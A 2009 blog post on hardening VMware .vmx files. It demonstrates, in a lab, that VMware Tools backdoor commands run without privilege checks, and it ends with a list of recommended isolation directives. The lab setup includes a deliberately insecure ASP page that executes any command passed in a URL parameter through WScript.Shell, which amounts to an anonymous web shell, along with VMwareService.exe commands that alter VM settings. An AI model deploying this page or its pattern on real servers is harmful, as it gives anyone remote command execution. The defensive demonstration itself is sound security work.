April 10, 2009

Hardening the VMX File: Redux

If you missed the first post on Hardening the VMX File, I recommend you give it a read, especially if you are currently not adding any VMware Tools hardening parameters to your .vmx files. It's pretty eye-opening to see what a non-privileged Windows user account is capable of changing in your VMs.

I've received some questions and comments about how the post overlooked the fact that a Citrix / Terminal Server can be really locked down, preventing users from opening control panels, command prompts, etc. This is all very true, and a security savvy AD administrator could probably have used some Group Policy changes to lock me out of everything I was able to do as a Terminal Services user.

After reading the post again, I realized that I gone for the low-hanging fruit (Terminal Services user) and had not done a very good job of making my point. What I should have stressed is that many of the powerful features of VMware Tools are not doing any user validation, allowing any process to make significant changes to the VM's configuration.

The Terminal Server example was easy to illustrate, but in order to log into a Terminal Server, the testuser account needed to be a member of the Users and Remote Desktop Users groups. So to make the point a little better, for this quick demonstration we're going to use an IIS website and an ASP form to execute the VMwareService.exe command remotely to make some changes. We'll also set the authentication method for the site to anonymous access, and use the Internet Guest Account, a restricted account that is only a member of the Guests group.

Demo setup
We'll roll out a fresh Windows Server 2003 Standard VM from a template for this demo. This server will have Service Pack 2 installed, a default instance of IIS 6, and will not be in a domain, just a workgroup. The VM will be hosted on an ESX 3.5u4 server, and will have the latest version of VMware Tools shipping with 3.5u4, which is build 153875.

First we'll install IIS in the VM: open the Control Panel > Add or Remove Programs > Add/Remove Windows Components > double click Application Server > and check Internet Information Server (IIS). You're going to need the Windows Server 2003 CD you installed the server with for the IIS installation.

Tip - During the IIS install, you'll be prompted to insert a CD with the Service Pack 2 files, don't bother, the file the installer is looking for, convlog.exe, is actually cached in C:\WINDOWS\ServicePackFiles\i386, just browse for it.

Once the IIS install is complete, open the Start Menu > Programs > Administrative Tools > Internet Information Services (IIS) Manager

We're going to create a new site:
  • Right click Web Sites > New > Web Site

  • Give the website a description of test

  • Drop down the IP address selector to the IP address of the server

  • For the website path, select C:\Inetpub, and click Make New Folder to create a folder in C:\Inetpub named test

  • Select the test directory and continue, leaving Allow anonymous access to this Web site checked

  • Check the Read and Run scripts permissions

We have to enable Active Server Pages for our test, so in IIS Manager, select Web Service Extensions, right click Active Server Pages, and choose Allow

Stop the Default Web Site by right clicking it and choosing Stop, just to make sure it doesn't interfere with our test

Open the C:\Inetpub\test folder, right click in it and create a new text document, naming it get.asp

Open C:\Inetpub\test\get.asp with Notepad, and paste in this code segment:

<html>
<body>
    
  <form method="GET" action="post.asp">
    Command <input type="text" name="MyCommand" size="80"/>
    <input type="submit" />
  </form>

</body>
</html>

Close and save C:\Inetpub\test\get.asp

Right click in C:\Inetpub\test again and create another new text file, naming it post.asp

Open C:\Inetpub\test\post.asp with Notepad, and paste in this code segment:

<html>
<body>
  <%
    Dim cmd, oShell, oCmd, strRes
    cmd = Request.QueryString("MyCommand")

    set oShell = CreateObject("WScript.Shell") 
    set oCmd = oShell.Exec(cmd) 
    strRes = oCmd.StdOut.Readall() 
    set oCmd = nothing
    set oShell = nothing 
 
    response.write "<pre>" & strRes & "</pre>"
  %>
</body>
</html>

Close and save C:\Inetpub\test\post.asp

This may be an overly simple setup for the website, but the purpose of this exercise is not to prove some problem with IIS 6 or ASP, we just want a website running as the Internet Guest Account so we can attempt to run VMwareService.exe as a restricted account with no rights to even log into the server.

Back in IIS Manager, right click the test website and choose Properties, and the Documents tab

Remove the existing documents from the list, and then click Add, type get.asp, and click Apply and OK to save the changes

Now from another system able to reach the test server over the network, open a browser to the IP address of the test server. If you set everything up correctly, you should see a simple web page with a text box labeled Command and a button labeled Submit Query

Since our test website can't execute files outside of the C:\Inetpub\test folder, we need to copy an executable into the folder to confirm things are working. Let's copy C:\WINDOWS\system32\ping.exe to C:\Inetpub\test

Now on the remote machine with the web page open, paste this into the Command text box: C:\Inetpub\test\ping.exe localhost

If you've set everything up correctly, you should get a page with output like this:

Pinging lab-test [127.0.0.1] with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 timeəms TTL=128
Reply from 127.0.0.1: bytes=32 time=6ms TTL=128
Reply from 127.0.0.1: bytes=32 timeəms TTL=128
Reply from 127.0.0.1: bytes=32 timeəms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 6ms, Average = 1ms

Now let's copy C:\Program Files\VMware\VMware Tools\VMwareService.exe to the C:\Inetpub\test folder

Back in the Command text box of our website, put this in to see if we can store a variable:

C:\Inetpub\test\VMwareService.exe -cmd "info-set guestinfo.testvar1 This is our first test variable"

We should get this response back. Hmmm, wonder if it stored it:

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"

Let's try and retrieve it, in the Command text box, put this in:

C:\Inetpub\test\VMwareService.exe -cmd "info-get guestinfo.testvar1"

Well, we get that warning again... Ah but look, our variable!

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"
This is our first test variable

Let's see what this command does:

C:\Inetpub\test\VMwareService.exe -cmd "vmx.capability.edit_devices"

That returned a 1

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"
1

Let's see what it reports if we apply isolation.device.edit.disable = "true" to the .vmx and reboot:

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"
Unknown command

Interesting, it shut down the ability to even query the parameter if it is set. Let's see what this command does:

C:\Inetpub\test\VMwareService.exe -cmd "vmx.set_option broadcastIP 0 1"

Ah, must need to try it with the bits swapped:

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"
Invalid old value

C:\Inetpub\test\VMwareService.exe -cmd "vmx.set_option broadcastIP 1 0"

Well, that adds tools.broadcastIP = "TRUE" to the .vmx, but I'm not sure what that does.

Let's try changing the time synchronization as the Internet Guest Account, by placing this command in the website:

C:\Inetpub\test\VMwareService.exe -cmd "vmx.set_option synctime 0 1"

This is the response:

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"
Invalid old value

Oh, we must have already had it enabled, let's try:

C:\Inetpub\test\VMwareService.exe -cmd "vmx.set_option synctime 1 0"

Just the warning this time:

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"

Let's check the VMware Tools applet and see... it changed! We changed the time synchronization behavior of our virtual machine from a remote system as the Internet Guest Account!

Backdoor blues
This brings us to something we haven't explored yet, if we uninstall VMware Tools in a VM, have we closed the backdoor? Let's examine what the backdoor is exactly, and a comment from the Open Virtual Machine Tools source code sums it up perfectly:

/*
 * backdoor.c --
 *
 *    First layer of the internal communication channel between guest
 *    applications and vmware
 *
 *    This is the backdoor. By using special ports of the virtual I/O space,
 *    and the virtual CPU registers, a guest application can send a
 *    synchroneous basic request to vmware, and vmware can reply to it.
 */

If you are really interested, you can read ./lib/backdoor/backdoorGcc32.c and find the inline assembly code for sending messages to the hypervisor and reading the responses. The backdoor is always there, but we need a client in the VM to communicate with it. So while removing VMware Tools might leave the VM unable to use the backdoor, we could always just compile our own tool and copy it over. Or in the worst case, some malware application could have backdoor communication functions built in! And as we've shown, the backdoor is not doing any user privilege checking, it's using special processor instructions embedded in the calls to the virtual cpu, so that malware could be nasty.

However, we can close the backdoor with a single .vmx directive:

monitor_control.restrict_backdoor = "true".

Let's see what happens if we try a command through the backdoor now:

Warning: Unable to open "C:\Documents and Settings\All Users\Application Data\VMware\VMware Tools\tools.conf"
Log: The VMwareService application must be run in a Virtual Machine.
Log: Backtrace:
Log: ----Backtrace using dbghelp.dll----
Log: Module path: C:\Inetpub\test\VMwareService.exe
Log: Module directory: C:\Inetpub\test\

 -- output omitted --

Wow, looks like the VMwareService application doesn't even think it's running in a VM any longer.

Wait, are you suggesting we just shut down the backdoor in our VMs? No, that's what the of list of .vmx directives is for, we can select which portions of the backdoor to restrict.

So this list covers every possible malicious thing someone could attempt? I can't say that, but this list covers what VMware recommends in the VI3 Security Hardening white paper as well as several other published ESX security related guidelines.

"I don't like you because your dangerous..."
I hope this has illustrated how important it is to apply these .vmx file hardening parameters to your virtual machines, whether they have VMware Tools installed or not installed. It doesn't matter if the potential attacker is using a Citrix account, or just a cracked website, any process with any level of privileges is able to make significant changes to the configuration of your VMs. I'll list the recommended parameters we've explored in these two posts again, but check out Hardening the VMX File to see in detail what each parameter does:

Recommended VMX Directives:

isolation.device.connectable.disable = "true"
isolation.device.edit.disable = "true"
isolation.tools.setOption.disable = "true"
isolation.tools.log.disable = "true"
isolation.tools.diskWiper.disable = "true"
isolation.tools.diskShrink.disable = "true"
isolation.tools.copy.disable = "true"
isolation.tools.paste.disable = "true"
isolation.tools.setGUIOptions.enable = "false"
log.rotateSize = "100000"
log.keepOld = "10"
vlance.noOprom = "true"
vmxnet.noOprom = "true"

# PXE boot on the e1000 vNIC can be disabled with this directive:
ethernet0.opromsize = "0"


No comments:

Post a Comment